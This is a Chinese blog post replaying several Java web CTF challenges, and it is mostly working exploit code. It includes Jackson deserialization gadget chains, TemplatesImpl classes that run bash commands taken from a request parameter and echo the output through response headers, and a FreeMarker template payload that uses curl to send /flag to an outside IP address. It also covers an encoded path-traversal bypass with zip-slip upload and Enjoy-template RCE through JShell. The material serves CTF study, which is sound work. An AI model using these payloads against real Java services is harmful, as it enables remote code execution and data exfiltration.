CHHHCHHOH 's BLOG

java题复现

DASCTF X CBCTF 2023 bypassjava

这里参考官方wp,我们在getContentLength的地方下断点


最后在Request#getContentLengthLong得到contentLength

Http11Processor#prepareInputFilters找到可以赋值为-1的地方

注释中写到chunked格式不应用content-length,所以去除

chunked发包返回contentLength为-1,绕过
有点奇怪的是payload的长度要用16进制,用10进制就不成功,不懂

题目有Jackson低版本依赖,直接打Jackson链

题目是不出网的,要内存马,这里直接抄了SICTF CC那题出题人的写法

package com.example.bypassjava;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class mem extends AbstractTranslet {
    static {
        try {
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            Process process = Runtime.getRuntime().exec(new String[]{"bash","-c",request.getParameter("cmd")});
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line+" ");
            }
//            String s =new Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).next();
            response.setHeader("night", output.toString());
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}


本地是可以,但是题目还有RASP的防护。

第六届浙江省赛初赛secObj

参考wp
存在反序列化点


有黑名单

存在低版本Jackson,打Jackson链,但是TemplatesImpl和javax.management都被过滤了,这里要用SignedObject来进行二次反序列化

问题变成如何调用SignedObject#getObject,POJONode#toString可以调用任意getter方法,于是问题又变成了怎么调用toString,看wp用HotSwappableTargetSource加HashMap调用toString

给出弹计算器的完整poc

package com.example.demo;

import com.example.demo.util.MyObjectInputStream;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;


public class jackson {
    public static void main(String[] args) throws Exception {
        //Jackson链
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\CH3CH2OH\\Desktop\\test_windows\\demo-0.0.1-SNAPSHOT\\out\\production\\demo-0.0.1-SNAPSHOT\\com\\example\\demo\\calccodes.class"));
        byte[][] codes = {code};
        setFieldValue(templatesImpl, "_bytecodes", codes);
        setFieldValue(templatesImpl, "_name", "a");
//        setFieldValue(templatesImpl, "_tfactory", null);
        CtClass ctClass1 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass1.getDeclaredMethod("writeReplace");
        ctClass1.removeMethod(writeReplace);
        // 将修改后的CtClass加载至当前线程的上下文类加载器中
        ctClass1.toClass();
        POJONode node = new POJONode(templatesImpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", node);

        //SignedObject#getObject->badAttributeValueExpException#readObject
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(badAttributeValueExpException,kp.getPrivate(), Signature.getInstance("DSA"));

        //POJONode#toString->SignedObject#getter
        POJONode node1 = new POJONode(signedObject);

        //HotSwappableTargetSource#equals->XString#equals->POJONOde#toString
        HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(new XString("1"));

        //HashMap#readObject->HotSwappableTargeSource#equals
        HashMap hashMap = new HashMap();
        hashMap.put(hotSwappableTargetSource,null);
        hashMap.put(new HotSwappableTargetSource(new XString("2")),null);

        //防止put的时候触发equals,反射改POJONode
        setFieldValue(hotSwappableTargetSource,"target",node1);


        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeObject(hashMap);
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String data = new String(encode);
        System.out.println(data);
//        System.out.println(data.length());

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(data));
        MyObjectInputStream myObjectInputStream = new MyObjectInputStream(byteArrayInputStream);
        myObjectInputStream.readObject();

    }

    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

然后我们抓登录的数据包,直接改/admin/user/readObj路由发包data


成功弹计算器
题目不出网,要用内存马

package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class calccodes extends AbstractTranslet {
    static {
        try {
            HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
            Field responseField = request.getClass().getDeclaredField("response");
            responseField.setAccessible(true);
            Object HeaderWriterResponse = responseField.get(request);
            Method addHeaderMethod = HeaderWriterResponse.getClass().getSuperclass().getDeclaredMethod("addHeader",String.class,String.class);
            Process process = Runtime.getRuntime().exec(new String[]{"bash","-c",request.getParameter("cmd")});
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line+" ");
            }
            addHeaderMethod.invoke(HeaderWriterResponse,new String("CHHHCHHOH"),output.toString());
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}


最开始想用上面那题的,发现报错了,可能是加了Security导致获取到的request不一样,记录一下怎么调的

request是Servlet3SecurityContextHolderAwareRequestWrapper

它有一个response,反射获取

response是HeaderWriterResponse

它继承的父类有addHeader方法,反射获取

最终成功添加响应头。严格意义上来讲,这应该不算内存马,因为并没有把shell写入内存,只是在进行反序列的时候多加了个响应头把数据带回。

羊城杯2023Ez_java

提供了反序列化路由


有Jackson低版本依赖可以打

但是过滤了TemplatesImpl就不能加载字节码了

这里因为类给的很少,很容易发现可以通过POJONode#toString调用动态代理invoke,最终调用uploadfile
这里只能上传.ftl文件,但是这种文件是能rce的,templating路由会渲染index.ftl,我们上传恶意ftl文件覆盖它

package com.ycbjava;


import com.fasterxml.jackson.databind.node.POJONode;
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;


public class test {
    public static void main(String[] args) throws Exception{
        HtmlMap htmlMap = new HtmlMap();
        htmlMap.filename = "index.ftl";
        htmlMap.content = "<!DOCTYPE html><html lang=\"en\"><head><metacharset=\"UTF-8\"><#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl 124.221.19.214:2333 -F file=@/flag\")}</head><body></body></html>";
        POJONode node = new POJONode(htmlMap);
        Map map = (Map) Proxy.newProxyInstance(htmlMap.getClass().getClassLoader(), htmlMap.getClass().getInterfaces(), new HtmlInvocationHandler(htmlMap));
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", map);
        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeObject(badAttributeValueExpException);
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String data = new String(encode);
        System.out.println(data);
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}


其实我最开始想到的是JRMP+Jackson,Windows下虽然成功弹计算器了,但是linux下没执行成功,不知道为什么,可能是Jackson不稳定?

浙江大学生省赛决赛 ezWEB

先获取hint


可以ssrf,但是ban了flag

这里有个拦截器,要求不能有..或./,且以/index打头或等于/

这里用/index/%2e%2e/admin/hello进行绕过,SpringBoot版本为2.3.0,requestURI的时候没有进行url解码,所以%2e%2e直接绕过..的判断,Spring < 5.3.x 是可以../来绕过,但是这题ban了..

这里上传zip文件的时候直接拼接了路径名,所以我们可以上传到任意位置,解压之后就可以覆盖任意文件

这里的html文件用了enjoy模板,可以ssrf和rce

构造#include("../../../../../../../../../../../../../etc/passwd")的hello.html并压缩上传

因为burp从文件复制会摔坏数据包,所以我们本地起一个上传文件的html服务,然后改数据包的url和端口

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>
</head>
<body>
    <h2>上传文件</h2>
    <form action="/upload" method="post" enctype="multipart/form-data">
        <input type="file" name="file" id="file">
        <input type="submit" value="上传">
    </form>
</body>
</html>

成功ssrf,有权限的话也可以读flag


模板注入的语法感觉看不懂一点,wp里主要是这两个,一个是把调用静态方法设置为true,一个是用jshell执行java代码,分别放在hello.html和upload.html,放同一个会有问题,可能是要访问一次才能设置为true,同一个里直接用不允许

#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))
#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec("calc");'))


弹计算器。

添加新评论